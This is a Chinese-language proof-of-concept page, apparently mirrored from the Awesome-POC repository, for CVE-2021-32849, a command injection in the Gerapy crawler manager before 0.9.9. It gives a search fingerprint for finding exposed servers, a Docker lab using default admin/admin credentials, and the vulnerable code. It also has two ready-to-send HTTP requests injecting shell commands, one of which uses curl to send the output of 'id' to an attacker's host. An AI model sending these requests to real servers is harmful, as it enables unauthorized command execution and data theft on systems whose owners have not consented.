mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-06 11:27:43 +00:00
200 lines
6.5 KiB
Markdown
200 lines
6.5 KiB
Markdown
|
|
# Gerapy project_clone & project_parse 后台远程命令执行漏洞 CVE-2021-32849
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
Gerapy 是一款基于 Scrapy、Scrapyd、Django 和 Vue.js 的分布式爬虫管理框架。
|
|||
|
|
|
|||
|
|
Gerapy < 0.9.9 存在远程命令执行漏洞,函数 `project_clone` 和 `project_parse` 在处理数据时容易受到命令注入攻击,经过身份验证的攻击者可以在系统上执行任意命令。
|
|||
|
|
|
|||
|
|
参考链接:
|
|||
|
|
|
|||
|
|
- https://securitylab.github.com/advisories/GHSL-2021-076-gerapy/
|
|||
|
|
- https://github.com/Gerapy/Gerapy/security/advisories/GHSA-756h-r2c9-qp5j
|
|||
|
|
- https://github.com/Gerapy/Gerapy/issues/197
|
|||
|
|
- https://github.com/Gerapy/Gerapy/issues/217
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Gerapy < 0.9.9
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
title="Gerapy"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 环境搭建
|
|||
|
|
|
|||
|
|
docker-compose.yml
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
version: "3.9"
|
|||
|
|
|
|||
|
|
services:
|
|||
|
|
|
|||
|
|
gerapy:
|
|||
|
|
image: germey/gerapy:0.9.6
|
|||
|
|
build: .
|
|||
|
|
container_name: gerapy
|
|||
|
|
restart: always
|
|||
|
|
volumes:
|
|||
|
|
- gerapy:/home/gerapy
|
|||
|
|
ports:
|
|||
|
|
- 8000:8000
|
|||
|
|
|
|||
|
|
volumes:
|
|||
|
|
gerapy:
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
执行如下命令启动一个 Gerapy 0.9.6 版本的服务器:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
docker-compose up -d
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
启动完成后,访问 `http://your-ip:8000` 即可查看登录页面,通过默认口令 `admin/admin` 登录后台。
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
### 问题 1:`project_clone`
|
|||
|
|
|
|||
|
|
[漏洞点](https://github.com/Gerapy/Gerapy/blob/af5657354aa040d5a6b52c91a837f5d63422d6d3/gerapy/server/core/views.py#L339) 位于 `gerapy/server/core/views.py`:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
@api_view(['POST'])
|
|||
|
|
@permission_classes([IsAuthenticated])
|
|||
|
|
def project_clone(request):
|
|||
|
|
"""
|
|||
|
|
clone project from github
|
|||
|
|
:param request: request object
|
|||
|
|
:return: json
|
|||
|
|
"""
|
|||
|
|
if request.method == 'POST':
|
|||
|
|
data = json.loads(request.body)
|
|||
|
|
|
|||
|
|
# NOTE(1): Address comes from the post's body.
|
|||
|
|
address = data.get('address')
|
|||
|
|
if not address.startswith('http'):
|
|||
|
|
return JsonResponse({'status': False})
|
|||
|
|
address = address + '.git' if not address.endswith('.git') else address
|
|||
|
|
|
|||
|
|
# NOTE(2): Address is used to build a command without sanitization.
|
|||
|
|
cmd = 'git clone {address} {target}'.format(address=address, target=join(PROJECTS_FOLDER, Path(address).stem))
|
|||
|
|
logger.debug('clone cmd %s', cmd)
|
|||
|
|
|
|||
|
|
# NOTE(3): Command is executed.
|
|||
|
|
p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
|
|||
|
|
stdout, stderr = bytes2str(p.stdout.read()), bytes2str(p.stderr.read())
|
|||
|
|
logger.debug('clone run result %s', stdout)
|
|||
|
|
if stderr: logger.error(stderr)
|
|||
|
|
return JsonResponse({'status': True}) if not stderr else JsonResponse({'status': False})
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
`address` 为可控参数,构造请求包:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
POST /api/project/clone HTTP/1.1
|
|||
|
|
Host: your-ip:8000
|
|||
|
|
Accept: */*
|
|||
|
|
Referer: http://your-ip:8000/
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
|
|||
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
|
|||
|
|
Content-Type: application/json;charset=UTF-8
|
|||
|
|
Authorization: Token e8279162677dd4fbfefe352b0f51ea8ad19cace5
|
|||
|
|
|
|||
|
|
{"address":"http://127.0.0.1;curl your-vps-ip:9999?`id`"}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
成功执行:
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
### 问题 2:`project_parse`
|
|||
|
|
|
|||
|
|
[漏洞点](https://github.com/Gerapy/Gerapy/blob/af5657354aa040d5a6b52c91a837f5d63422d6d3/gerapy/server/core/views.py#L539) 位于 `gerapy/server/core/views.py`:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
@api_view(['POST'])
|
|||
|
|
@permission_classes([IsAuthenticated])
|
|||
|
|
def project_parse(request, project_name):
|
|||
|
|
"""
|
|||
|
|
parse project
|
|||
|
|
:param request: request object
|
|||
|
|
:param project_name: project name
|
|||
|
|
:return: requests, items, response
|
|||
|
|
"""
|
|||
|
|
if request.method == 'POST':
|
|||
|
|
project_path = join(PROJECTS_FOLDER, project_name)
|
|||
|
|
|
|||
|
|
# NOTE(1)
|
|||
|
|
data = json.loads(request.body)
|
|||
|
|
logger.debug('post data %s', data)
|
|||
|
|
spider_name = data.get('spider')
|
|||
|
|
args = {
|
|||
|
|
'start': data.get('start', False),
|
|||
|
|
'method': data.get('method', 'GET'),
|
|||
|
|
'url': data.get('url'),
|
|||
|
|
'callback': data.get('callback'),
|
|||
|
|
'cookies': "'" + json.dumps(data.get('cookies', {}), ensure_ascii=False) + "'",
|
|||
|
|
'headers': "'" + json.dumps(data.get('headers', {}), ensure_ascii=False) + "'",
|
|||
|
|
'meta': "'" + json.dumps(data.get('meta', {}), ensure_ascii=False) + "'",
|
|||
|
|
'dont_filter': data.get('dont_filter', False),
|
|||
|
|
'priority': data.get('priority', 0),
|
|||
|
|
}
|
|||
|
|
# set request body
|
|||
|
|
body = data.get('body', '')
|
|||
|
|
if args.get('method').lower() != 'get':
|
|||
|
|
args['body'] = "'" + json.dumps(body, ensure_ascii=False) + "'"
|
|||
|
|
|
|||
|
|
# NOTE(2)
|
|||
|
|
args_cmd = ' '.join(
|
|||
|
|
['--{arg} {value}'.format(arg=arg, value=value) for arg, value in args.items()])
|
|||
|
|
logger.debug('args cmd %s', args_cmd)
|
|||
|
|
cmd = 'gerapy parse {args_cmd} {project_path} {spider_name}'.format(
|
|||
|
|
args_cmd=args_cmd,
|
|||
|
|
project_path=project_path,
|
|||
|
|
spider_name=spider_name
|
|||
|
|
)
|
|||
|
|
logger.debug('parse cmd %s', cmd)
|
|||
|
|
|
|||
|
|
# NOTE(3)
|
|||
|
|
p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=True)
|
|||
|
|
stdout, stderr = bytes2str(p.stdout.read()), bytes2str(p.stderr.read())
|
|||
|
|
logger.debug('stdout %s, stderr %s', stdout, stderr)
|
|||
|
|
if not stderr:
|
|||
|
|
return JsonResponse({'status': True, 'result': json.loads(stdout)})
|
|||
|
|
else:
|
|||
|
|
return JsonResponse({'status': False, 'message': stderr})
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
构造请求包:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
POST /api/project/1/parse HTTP/1.1
|
|||
|
|
Host: your-ip:8000
|
|||
|
|
Accept: */*
|
|||
|
|
Referer: http://your-ip:8000/
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
|
|||
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
|
|||
|
|
Content-Type: application/json;charset=UTF-8
|
|||
|
|
Authorization: Token e8279162677dd4fbfefe352b0f51ea8ad19cace5
|
|||
|
|
|
|||
|
|
{"spider":"`id`"}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
## 漏洞修复
|
|||
|
|
|
|||
|
|
升级至安全版本。
|